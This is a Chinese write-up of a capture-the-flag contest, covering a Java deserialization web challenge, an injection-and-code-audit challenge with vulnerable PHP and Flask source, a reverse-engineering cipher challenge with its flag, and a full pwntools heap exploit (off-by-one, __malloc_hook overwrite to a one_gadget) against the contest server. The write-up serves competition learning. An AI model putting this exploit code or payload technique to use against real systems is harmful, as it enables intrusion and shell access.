第一届长城杯网络安全大赛WP

admin 2021年9月23日12:58:06评论820 views字数 6096阅读20分19秒阅读模式

HVV结束后的第一场CTF~


第一届长城杯网络安全大赛WP

点击上方

第一届长城杯网络安全大赛WP

蓝字

关注我们

第一届长城杯网络安全大赛WP


成功晋级决赛,全国线上排名11

(Xenc师傅不在,web没有ak第一届长城杯网络安全大赛WP


第一届长城杯网络安全大赛WP




01

Web-ezjava


jd-gui反编译jar包可以看源码

找到Hello类中的关键函数

第一届长城杯网络安全大赛WP

也找到属性配置

第一届长城杯网络安全大赛WP

然后开始写java代码Encrypt里增加了一段加密实现:

第一届长城杯网络安全大赛WP

函数从网上抄了一段hashmap序列化代码

第一届长城杯网络安全大赛WP


输出:

12wXVxsSaj0AeRCrkummuENOeFnuqLdUqQzYl0v32nzs-v_o74o_1IBkpDPz3wIH0-m4jQUnnD811YZFr8K6Uia4XF2cyzMgSWQGQKoT-jt0yT2iUuCid1vhGx7sbKrDMFiZgvi6p9R11KzgTOjZJy5zrkngiG9HK1bs4sbRuLIi4kEY_qu0QMBIX6l0ujkH49setY5FtCagC-L1-bVh9Mq-uKWpBwmChMxL4uq41ohiF1KtKHKegORl4K3akx9ho4i0amz3wzvrAam-ok584uYIzL8Qv-Jf32uT8oGDS-IiRMxyDU_gBe4UxZCJbYdwZQOHIsVdbYupFP4fkcrhpp2vdvBTDoM3jBzEedcHXqg=

 

然后直接post到/attack即可得到flag

第一届长城杯网络安全大赛WP



02

Web-p&p




测试发现存在注入且有报错信息,然后又发现可以进行堆叠注入。以为跟强网杯很相识,但发现关键函数都已过滤,试了一堆后本以放弃。但扫目录发现有个adminisapi.php文件,打开如下

第一届长城杯网络安全大赛WP

提示必须要admin_inner用户,所以必须要要将用户名改为admini_inner。查阅资料发现replace可以替换值

第一届长城杯网络安全大赛WP



登陆进去后就是代码审计了

adminsapi.php

Notice: session_start(): A session had already been started - ignoring in /var/www/html/adminsapi.php on line 2<?php session_start();error_reporting(0);if($_SESSION['username']!='admin_inner'){    die("Only admin_inner");}else if(isset($_GET['action'])){    $action = $_GET['action'];}else{    show_source(__FILE__);}

function curlNet($route,$payload=null){ $url = 'http://127.0.0.1:18888/'.$route; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); if($payload!==null){ curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); return(@$result?$result:'false');}
function curlNetAll($url,$payload=null){ $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER); if($payload!==null){ curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); return(@$result?$result:'false');}

switch ($action) { case "index": $content = curlNet("index"); echo $content; break; case "download": header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="../internal.py'); $handle = fopen("../internal.py", 'rb'); while (!feof($handle) ) { echo fread($handle, "1024"); } fclose($handle); break; case "secrets": $data = file_get_contents("php://input"); $data = json_decode($data,true); if(!is_array($data)) die("don't try."); $content = curlNet("secrets",json_encode(array($data))); $res = @$content?$content:'false'; echo($res); break; case "curl": $secrets = file_get_contents("/85ae29dcb6794b9747c04d09948f6480.txt"); $data = file_get_contents("php://input"); $data = json_decode($data,true); if(!is_array($data)) die("don't try."); if($secrets!==$data["secrets"]) die("get the secrets first"); $url = $data["url"]; $res = parse_url($url); $ip = dns_get_record($res['host'], DNS_A)[0]['ip']; if(stripos($ip,"127")||stripos($ip,"0.0.0")||stripos($ip,"@")||stripos($ip,"0x")) die("no!"); echo curlNetAll($url); break; default: die("no others"); break;
}?>

internal.py

from flask import Flask,requestimport json
app = Flask(__name__)
@app.route('/')@app.route('/index')def home(): return "admin's api"
@app.route('/secrets', methods=['GET', 'POST'])def secrets(): if request.method == 'POST': myJson = json.loads(request.data)[0] if(myJson['secrets'] in open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n')): return json.dumps(True) else: return json.dumps(False) else: return "nothing"
@app.errorhandler(500)def internal_error(error): return str(open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n'))
@app.route('/flag', methods=['GET', 'POST'])def flag(): return str(open('/flag').read().split('n'))
app.run(host='127.0.0.1', port=18888)

adminsapi.php文件中的Case"curl"上可以得出只要有密钥就可以进行任意文件读写。而要想得到密钥需要看internal.py文件,从上面代码得到只要出现报错,那么就可以得到

85ae29dcb6794b9747c04d09948f6480.txt 而key就在这个txt文件里面

所以我们只需要在secrets上传入个空数组,在经过php后解密加密后到达python,而json.loads那个加载后获取 myJson[‘secrets’] 因为没有这个值所以会报错进入500而返回secret

第一届长城杯网络安全大赛WP


第一届长城杯网络安全大赛WP



03

Re-魔鬼凯撒的RC4茶室


第一届长城杯网络安全大赛WP


第一届长城杯网络安全大赛WP

这里是凯萨加密

第一届长城杯网络安全大赛WP

得到第一部分flag

f0rget_h13_th1ng3}

输入后继续后面的加解密菜单:

第一届长城杯网络安全大赛WP

第一届长城杯网络安全大赛WP


解密部分好像与XTEA和凯撒没啥关系,穷举得到异或的字节为0xde

第一届长城杯网络安全大赛WP


最终得到flag为:

flag{x1aom1ng_1s_3o_easy_f0rget_h13_th1ng3}




04

Pwn-K1ng_in_h3Ap_I


BUG有两处:

第一届长城杯网络安全大赛WP



edit里输入字符串可以越界

第一届长城杯网络安全大赛WP



delete后没有置0

 

 

exp代码如下:

# coding: utf-8from PwnContext import *
context.log_level = "debug"ctx.binary = './pwn'ctx.remote = ('47.104.190.157', 26840)ctx.custom_lib_dir = '/home/test/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/'e=ELF(ctx.custom_lib_dir+'libc.so.6')gadgets=one_gadgets(ctx.custom_lib_dir+'libc.so.6')#ctx.remote_libc = './libc.so.6'#e=ctx.remote_libcstdout=e.symbols['_IO_2_1_stdout_']stdin=e.symbols['_IO_2_1_stdin_']malloc_hook=e.symbols['__malloc_hook']realloc=e.symbols['realloc']free_hook=e.symbols['__free_hook']puts=e.symbols['puts']system=e.symbols['system']printf=e.symbols['printf']binsh=next(e.search(b'/bin/sh'))ctx.breakpoints = [0xccb,0xc04]ctx.debug_remote_libc = True#ctx.start()ctx.start('remote')
s = lambda data :ctx.send(str(data)) #in case that data is an intsa = lambda delim,data :ctx.sendafter(str(delim), str(data))sl = lambda data :ctx.sendline(str(data))sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))r = lambda numb=4096 :ctx.recv(numb)ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)irt = lambda :ctx.interactive()rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)# misc functionsuu32 = lambda data :u32(data.ljust(4, ''))uu64 = lambda data :u64(data.ljust(8, ''))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def add(index,size): sla(">>","1") sla("index:",str(index)) sla("size:",str(size))
def delete(index): sla(">>","2") sla("index:",str(index))
def edit(index,name): sla(">>","3") sla("index:",str(index)) sla("input context:",name)
sla(">>","666")ru("n")p_addr=int(ru("n"),16)leak('printf @',p_addr)fakeoffset=(p_addr-(printf&0xffffff)+stdout-0x43)&0xffffff #_IO_write_ptr偏移leak('fakeoffset',fakeoffset)add(0,0x68) #0add(1,0x58) #1add(2,0x68) #2add(3,0x18) #3delete(2)edit(0,'a'*0x68+'xd1') #off by onedelete(1)add(4,0x58)edit(2,p32(fakeoffset)[:3]+'n')add(5,0x68)ctx.debug()add(6,0x68)edit(6,p64(0)*6+'x00'*3+p64(0xfbad1800)+p64(0)*3+"x00n")buf=ctx.recvuntil("x7fx00x00x01x00x00x00x00",timeout=1)[-13:-7]if len(buf)<6: error("Leak libc_base failed")addr=u64(buf.ljust(8,'x00'))leak('addr',addr)libc_base=((addr-stdin)&0xfffffffff000)success('libc_base:'+hex(libc_base))delete(5)edit(2,p64(libc_base+malloc_hook-0x23)+'n')add(7,0x68) #7add(8,0x68) #8edit(8,'x00'*11+p64(libc_base+gadgets[1])+p64(libc_base+realloc+0x8))delete(4)add(9,0x58)
ctx.interactive()



第一届长城杯网络安全大赛WP


第一届长城杯网络安全大赛WP


本文始发于微信公众号(IDLab):第一届长城杯网络安全大赛WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月23日12:58:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第一届长城杯网络安全大赛WPhttps://cn-sec.com/archives/548027.html

发表评论

匿名网友 填写信息